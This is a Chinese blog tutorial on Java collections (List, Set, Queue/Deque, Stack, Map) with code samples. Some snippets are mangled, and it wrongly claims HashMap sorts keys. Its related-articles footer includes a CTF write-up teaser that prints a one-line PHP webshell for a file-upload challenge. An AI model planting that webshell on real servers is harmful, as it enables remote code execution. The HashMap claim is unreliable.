理解Java集合的基本用法—Collection:List、Set 和 Queue,Map

本博文部分参考 博客 ,强烈推荐这篇博客,写得超级全面!!!


图片来源

Java 集合框架

主要包括两种类型的容器,一种是集合(Collection),存储一个元素集合(单列集合);另一种是 Map ,存储键/值对映射。
Collection 接口又有 3 种子类型,List、Set 和 Queue,再下面是一些抽象类,最后是具体实现类。

  • Collection:所有单列集合的根接口。

    • List:有序、允许重复元素的集合。

    • Set:无序、不允许重复元素的集合。

    • Queue:用于存储按特定顺序处理的元素(如先进先出 FIFO)。

  • Map:映射接口(双列接口),用于存储键值对(Key-Value),提供对键值的快速查找。

在这里插入图片描述
图片来源

由于Java的集合设计非常久远,中间经历过大规模改进,我们要注意到有一小部分集合类是遗留类,不应该继续使用:

  • Hashtable:一种线程安全的Map实现;
  • Vector:一种线程安全的List实现;
  • Stack:基于Vector实现的LIFO的栈。

还有一小部分接口是遗留接口,也不应该继续使用:

  • Enumeration:已被Iterator取代。

List(有序集合,允许重复元素)

List 是一个有序的集合,元素按插入顺序排列,允许重复元素。
实现类:

  • ArrayList 基于动态数组实现,支持随机访问和快速查找,但插入和删除操作的性能较差,尤其是在中间位置操作时。
  • LinkedList 基于双向链表实现,插入和删除操作效率较高,适合频繁的插入和删除,但随机访问的性能差。
  • Vector(ArrayList是非线程安全的,效率高;Vector是基于线程安全的 List 实现,效率低 ,遗留类,通常不推荐使用) 。

ArrayList 是最常用的 List 实现类。

List<String> list = new ArrayList<>();  // 初始化空列表
List<Integer> list = new ArrayList<>(10);  //初始化容量为 10 的列表
List<Integer> list = new ArrayList<>(Arrays.asList(3, 4, 5));  //初始化带有元素 3, 4, 5 的列表
List<Integer> list = new ArrayList<>(other_list);  //用其他列表 list 初始化

常用方法:

  • boolean add(E element):在末尾添加一个元素。
  • boolean add(int index, E element):在指定索引添加一个元素。
  • E get(int index):获取指定索引的元素。
  • E set(int index, E element):设置指定位置的元素,返回先前在 index 处出现的元素。
  • boolean remove(Object o):删除指定元素。
  • E remove(int index):删除指定索引的元素。
  • int size():获取集合大小。
  • boolean contains(Object o):判断是否包含某元素。
  • int indexOf(Object o):可以返回某个元素的索引,如果元素不存在,就返回-1。

我们来比较一下 ArrayListLinkedList

ArrayListLinkedList
获取指定元素速度很快需要从头开始查找元素
添加元素到末尾速度很快速度很快
在指定位置添加/删除需要移动元素不需要移动元素
内存占用较大

通常情况下,我们总是优先使用 ArrayList

另外,我们要始终坚持使用迭代器 Iterator 来访问 List ,因为总是具有最高的访问效率。

public class Main {public static void main(String[] args) {List<String> list = List.of("apple", "pear", "banana");for (Iterator<String> it = list.iterator(); it.hasNext(); ) {String s = it.next();System.out.println(s);}}
}

Java 的 for each 循环本身可以帮我们使用 Iterator 遍历。可以把上面的代码改写成:

ublic class Main {public static void main(String[] args) {List<String> list = List.of("apple", "pear", "banana");for (String s : list) {System.out.println(s);}}
}

List 可以和 Array 相互转换:

把 List 变为 Array 有三种方法

  1. 调用toArray()方法直接返回一个Object[]数组,这种方法会丢失类型信息,所以实际应用很少。
List<String> list = List.of("apple", "pear", "banana"); // 如果我们调用List.of(),它返回的是一个只读List
Object[] array = list.toArray();
  1. 给 toArray(T[]) 传入一个类型相同的 Array,List 内部自动把元素复制到传入的 Array 中。
List<Integer> list = List.of(12, 34, 56); //如果我们调用List.of(),它返回的是一个只读List
Integer[] array = list.toArray(new Integer[list.size()]);
  1. 通过List接口定义的T[] toArray(IntFunction<T[]> generator)方法。
Integer[] array = list.toArray(Integer[]::new);

把 Array 变为 List,通过 List.of(T…) 方法最简单

Integer[] array = { 1, 2, 3 };
List<Integer> list = List.of(array);

总结

  • List 是按索引顺序访问的长度可变的有序表,优先使用 ArrayList 而不是 LinkedList;

  • 可以直接使用 for each 遍历 List;

  • List 可以和 Array 相互转换。


Set(无序集合,不允许重复元素)

Set 是一个不允许重复元素的集合,它不保证元素的顺序。Set 实际上相当于只存储 key、不存储 value 的 Map。我们经常用 Set 用于去除重复元素。

Set 接口并不保证有序,而 SortedSet 接口则保证元素是有序的。PS:注意输出的顺序既不是添加的顺序,也不是 String 或 Integer 排序的顺序,在不同版本的JDK中,这个顺序也可能是不同的。
实现类:

  • HashSet 基于哈希表实现,元素无序,性能较好,适合用于查找。它实现了Set接口,并没有实现SortedSet接口;
  • LinkedHashSet 基于哈希表和链表实现,元素有序(按插入顺序)。
  • TreeSet 基于红黑树实现,元素按自然顺序(或提供的 Comparator)排序。它实现了SortedSet接口。

HashSet 是 Set 接口最常用的实现

Set<String> set = new HashSet<>();

常用方法:

  • boolean add(E e):添加元素。
  • boolean remove(Object o):删除指定元素。
  • boolean contains(Object o):判断是否包含某元素。
  • int size():获取集合大小。
  • clear():清空集合。

Queue / Deque

Queue 是一个先进先出(FIFO:First In First Out)的集合,只能一头进,另一头出。

实现类:

  • PriorityQueue:基于优先级堆实现,支持优先级排序的队列。PriorityQueue 并不是一个比较标准的队列实现,PriorityQueue 保存队列元素的顺序并不是按照加入队列的顺序,而是按照队列元素的大小进行重新排序。

  • Deque:Queue 是队列,只能一头进,另一头出。双端队列 Deque(Double Ended Queue)允许两头都进,两头都出。

    • ArrayDeque:基于数组实现,作为栈或队列使用,效率较高。

    • LinkedList:实现了 Queue 接口,适合用于队列操作。

Queue<String> queue = new LinkedList<>();

Queue

常用方法

  • boolean add(E) / boolean offer(E):添加元素到队尾;
  • E remove() / E poll():获取队首元素并从队列中删除;
  • E element() / E peek():获取队首元素但并不从队列中删除。
  • int size():获取队列大小。

对于具体的实现类,有的Queue有最大队列长度限制,有的Queue没有。注意到添加、删除和获取队列元素总是有两个方法,这是因为在添加或获取元素失败时,这两个方法的行为是不同的:

throw Exception返回false或null
添加元素到队尾add(E e)boolean offer(E e)
取队首元素并删除E remove()E poll()
取队首元素但不删除E element()E peek()

注意:不要把 null 添加到队列中,否则 poll() 方法返回 null 时,很难确定是取到了 null 元素还是队列为空。

Deque

Deque 接口继承自 Queue 接口

Queue 和 Deque 出队和入队的方法比较:

QueueDeque
添加元素到队尾add(E e) / offer(E e)addLast(E e) / offerLast(E e)
取队首元素并删除E remove() / E poll()E removeFirst() / E pollFirst()
取队首元素但不删除E element() / E peek()E getFirst() / E peekFirst()
添加元素到队首addFirst(E e) / offerFirst(E e)
取队尾元素并删除E removeLast() / E pollLast()
取队尾元素但不删除E getLast() / E peekLast()

Deque 接口实际上扩展自 Queue,因此,Queue 提供的 add()/offer() 方法在 Deque 中也可以使用,但是,使用 Deque,最好不要调用offer(),而是调用 offerLast()。即使用 Deque,推荐总是明确调用 offerLast() / offerFirst() 或者 pollFirst() / pollLast() 方法。

Deque 是一个接口,它的实现类有 ArrayDeque 和 LinkedList。

LinkedList,它即是List,又是Queue,还是Deque。但是我们在使用的时候,总是用特定的接口来引用它,这是因为持有接口说明代码的抽象层次更高,而且接口本身定义的方法代表了特定的用途。

// 不推荐的写法:
LinkedList<String> d1 = new LinkedList<>();// 推荐的写法:
Deque<String> d2 = new LinkedList<>();

可见面向抽象编程的一个原则就是:尽量持有接口,而不是具体的实现类。

总结

Deque实现了一个双端队列(Double Ended Queue),它可以:

  • 将元素添加到队尾或队首:addLast()/offerLast()/addFirst()/offerFirst();

  • 从队首/队尾获取元素并删除:removeFirst()/pollFirst()/removeLast()/pollLast();

  • 从队首/队尾获取元素但不删除:getFirst()/peekFirst()/getLast()/peekLast();

  • 总是调用xxxFirst()/xxxLast()以便与Queue的方法区分开;

  • 避免把null添加到队列。


Stack

栈(Stack)是一种后进先出(LIFO:Last In First Out)的数据结构,元素的插入和删除操作都发生在栈的顶端。虽然 Stack 类是 Java 提供的传统类,但它已被 Deque 接口的 ArrayDeque 替代,ArrayDeque 提供了更高效的栈操作。常见实现:Stack(遗留类,较旧,不推荐使用)、ArrayDeque推荐使用)。

Deque<String> stack = new ArrayDeque<>();

在Java中,我们用 Deque 可以实现 Stack 的功能:

  • 把元素压栈:push(E) / addFirst(E);

  • 把栈顶的元素“弹出”:pop() / removeFirst();

  • 取栈顶元素但不弹出:peek() / peekFirst()。

为什么 Java 的集合类没有单独的 Stack 接口呢?因为有个遗留类名字就叫 Stack,出于兼容性考虑,所以没办法创建 Stack 接口,只能用Deque 接口来“模拟”一个 Stack 了。

当我们把 Deque 作为 Stack 使用时,注意只调用 push() / pop() / peek() 方法,不要调用 addFirst() / removeFirst() / peekFirst() 方法,这样代码更加清晰。


Map(映射,存储键值对)

Map 是一个存储键值对(key-value)的集合,Map 中的键是唯一的,值可以重复。

实现类:

  • HashMap:基于哈希表实现,查找和插入的性能较高,元素无序。(HashMap 非线程安全,高效,支持null)

  • LinkedHashMap:保持插入顺序的 HashMap 实现。

  • TreeMap:基于红黑树实现,元素按键的自然顺序或指定的 Comparator 排序。

  • Hashtable:遗留类,过时的线程安全版本,不推荐使用。(HashTable 线程安全,低效,不支持null )

HashMap 是 Map 接口最常用的实现,基于哈希表实现。它在内部会对 Key 进行排序,这种 Map 就是 SortedMap。注意到 SortedMap 是接口,它的实现类是 TreeMap。

Map<String, String> map = new HashMap<>();

常用方法:

  • put(K key, V value):添加键值对。

  • get(Object key):根据键获取对应的值。

  • remove(Object key):删除指定键的键值对。

  • boolean containsKey(Object key):判断是否包含指定键。

  • containsValue(Object value):判断是否包含指定值。

  • keySet():获取所有键。

  • values():获取所有值。

PS: Map 中不存在重复的 key,因为放入相同的 key ,只会把原有的 key-value 对应的 value 给替换掉。

遍历 Map (无序,既不是插入顺序,也不是某个逻辑下的排序顺序)

for (String key : map.keySet()) {  // keySet()方法返回的Set集合,它包含不重复的key的集合Integer value = map.get(key);System.out.println(key + " = " + value);}for (Map.Entry<String, Integer> entry : map.entrySet()) {  // entrySet()集合,它包含每一个key-value映射String key = entry.getKey();Integer value = entry.getValue();System.out.println(key + " = " + value);
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/482058.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【看海的算法日记✨优选篇✨】第三回:二分之妙,寻径中道

&#x1f3ac; 个人主页&#xff1a;谁在夜里看海. &#x1f4d6; 个人专栏&#xff1a;《C系列》《Linux系列》《算法系列》 ⛰️ 一念既出&#xff0c;万山无阻 目录 &#x1f4d6;一、算法思想 细节问题 &#x1f4da;左右临界 &#x1f4da;中点选择 &#x1f4da;…

[CTF/网络安全] 攻防世界 upload1 解题详析

[CTF/网络安全] 攻防世界 upload1 解题详析 考察文件上传&#xff0c;具体原理及姿势不再赘述。 姿势 在txt中写入一句话木马<?php eval($_POST[qiu]);?> 回显如下&#xff1a; 查看源代码&#xff1a; Array.prototype.contains function (obj) { var i this.…

网络安全运行与维护 加固练习题

1. 提交用户密码的最小长度要求。 输入代码: cat /etc/pam.d/common-password 提交答案: flag{20} 2.提交iptables配置以允许10.0.0.0/24网段访问22端口的命令。 输入代码: iptables -A INPUT -p tcp -s 10.0.0.0/24 --dport 22 -j ACCEPT 提交答案: flag{iptables -A I…

PID模糊控制算法(附MATLAB仿真程序)

一、基本原理 PID模糊控制算法是一种将传统PID控制与模糊逻辑相结合的控制策略。它利用模糊逻辑处理不确定性和非线性问题的能力&#xff0c;以提高控制系统的性能。以下是PID模糊控制算法的基本原理&#xff1a; 1.1. **误差和误差变化率的计算**&#xff1a; - 首先&…

【leetcode100】螺旋矩阵

1、题目描述 给你一个 m 行 n 列的矩阵 matrix &#xff0c;请按照 顺时针螺旋顺序 &#xff0c;返回矩阵中的所有元素。 示例 1&#xff1a; 输入&#xff1a;matrix [[1,2,3],[4,5,6],[7,8,9]] 输出&#xff1a;[1,2,3,6,9,8,7,4,5] 2、初始思路 2.1 思路 定义上下左右…

2024.11.29(单链表)

思维导图 声明文件 #ifndef __LINKLIST_H__ #define __LINKLIST_H__#include <myhead.h>typedef char datatype; //数据元素类型 //定义节点类型 typedef struct Node {union{int len; //头节点数据域datatype data; //普通节点数据域};struct Node *next; //指针域…

第六届金盾信安杯-SSRF

操作内容&#xff1a; 进入环境 可以查询网站信息 查询环境url https://114.55.67.167:52263/flag.php 返回 flag 就在这 https://114.55.67.167:52263/flag.php 把这个转换成短连接&#xff0c;然后再提交 得出 flag

【Linux】进程控制,手搓简洁版shell

⭐️个人主页&#xff1a;小羊 ⭐️所属专栏&#xff1a;Linux 很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~ 目录 1、进程创建2、进程终止3、进程等待4、进程程序替换5、手写简洁版shell 1、进程创建 fork函数&#xff1a;从已经存在的进程中创…

逆向攻防世界CTF系列42-reverse_re3

逆向攻防世界CTF系列42-reverse_re3 参考&#xff1a;CTF-reverse-reverse_re3&#xff08;全网最详细wp&#xff0c;超4000字有效解析&#xff09;_ctfreverse题目-CSDN博客 64位无壳 _int64 __fastcall main(__int64 a1, char **a2, char **a3) {int v4; // [rsp4h] [rbp-…

安装 RabbitMQ 服务

安装 RabbitMQ 服务 一. RabbitMQ 需要依赖 Erlang/OTP 环境 (1) 先去 RabbitMQ 官网&#xff0c;查看 RabbitMQ 需要的 Erlang 支持&#xff1a;https://www.rabbitmq.com/ 进入官网&#xff0c;在 Docs -> Install and Upgrade -> Erlang Version Requirements (2) …

ECharts柱状图-交错正负轴标签,附视频讲解与代码下载

引言&#xff1a; 在数据可视化的世界里&#xff0c;ECharts凭借其丰富的图表类型和强大的配置能力&#xff0c;成为了众多开发者的首选。今天&#xff0c;我将带大家一起实现一个柱状图图表&#xff0c;通过该图表我们可以直观地展示和分析数据。此外&#xff0c;我还将提供…

Scala关于成绩的常规操作

score.txt中的数据&#xff1a; 姓名&#xff0c;语文&#xff0c;数学&#xff0c;英语 张伟&#xff0c;87&#xff0c;92&#xff0c;88 李娜&#xff0c;90&#xff0c;85&#xff0c;95 王强&#xff0c;78&#xff0c;90&#xff0c;82 赵敏&#xff0c;92&#xff0c;8…

【机器学习】入门机器学习:从理论到代码实践

我的个人主页 我的领域&#xff1a;人工智能篇&#xff0c;希望能帮助到大家&#xff01;&#xff01;&#xff01;点赞❤ 收藏❤ 机器学习&#xff08;Machine Learning&#xff09;是人工智能的一个分支&#xff0c;它通过算法从数据中学习规律&#xff0c;并基于这些规律进行…

Spring Web开发(请求)获取JOSN对象| 获取数据(Header)

大家好&#xff0c;我叫小帅今天我们来继续Spring Boot的内容。 文章目录 1. 获取JSON对象2. 获取URL中参数PathVariable3.上传⽂件RequestPart3. 获取Cookie/Session3.1 获取和设置Cookie3.1.1传统获取Cookie3.1.2简洁获取Cookie 3. 2 获取和存储Session3.2.1获取Session&…

[Deep Learning] 深度学习中常用函数的整理与介绍(pytorch为例)

文章目录 深度学习中常用函数的整理与介绍常见损失函数1. L2_loss | nn.MSELoss()公式表示&#xff1a;特点&#xff1a;应用&#xff1a;缺点&#xff1a;主要参数&#xff1a;示例用法&#xff1a;注意事项&#xff1a; 2. L1 Loss | nn.L1Loss数学定义&#xff1a;特点&…

0017. shell命令--tac

目录 17. shell命令--tac 功能说明 语法格式 选项说明 实践操作 注意事项 17. shell命令--tac 功能说明 Linux 的 tac 命令用于按行反向输出文件内容&#xff0c;与 cat 命令的输出顺序相反。非常有趣&#xff0c;好记。也就是说&#xff0c;当我们使用tac命令查看文件内…

SpringBoot整合Retry详细教程

问题背景 在现代的分布式系统中&#xff0c;服务间的调用往往需要处理各种网络异常、超时等问题。重试机制是一种常见的解决策略&#xff0c;它允许应用程序在网络故障或临时性错误后自动重新尝试失败的操作。Spring Boot 提供了灵活的方式来集成重试机制&#xff0c;这可以通过…

爬取boss直聘上海市人工智能招聘信息+LDA主题建模

爬取boss直聘上海市人工智能招聘信息 import time import tqdm import random import requests import json import pandas as pd import os from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriv…

项目快过:知识蒸馏 | 目标检测 |FGD | Focal and Global Knowledge Distillation for Detectors

公开时间&#xff1a;2022年3月9号 项目地址&#xff1a;https://github.com/yzd-v/FGD 论文地址&#xff1a;https://arxiv.org/pdf/2111.11837 知识蒸馏已成功地应用于图像分类。然而&#xff0c;目标检测要复杂得多&#xff0c;大多数知识蒸馏方法都失败了。本文指出&#…

【Linux】匿名管道通信场景——进程池

&#x1f525; 个人主页&#xff1a;大耳朵土土垚 &#x1f525; 所属专栏&#xff1a;Linux系统编程 这里将会不定期更新有关Linux的内容&#xff0c;欢迎大家点赞&#xff0c;收藏&#xff0c;评论&#x1f973;&#x1f973;&#x1f389;&#x1f389;&#x1f389; 文章目…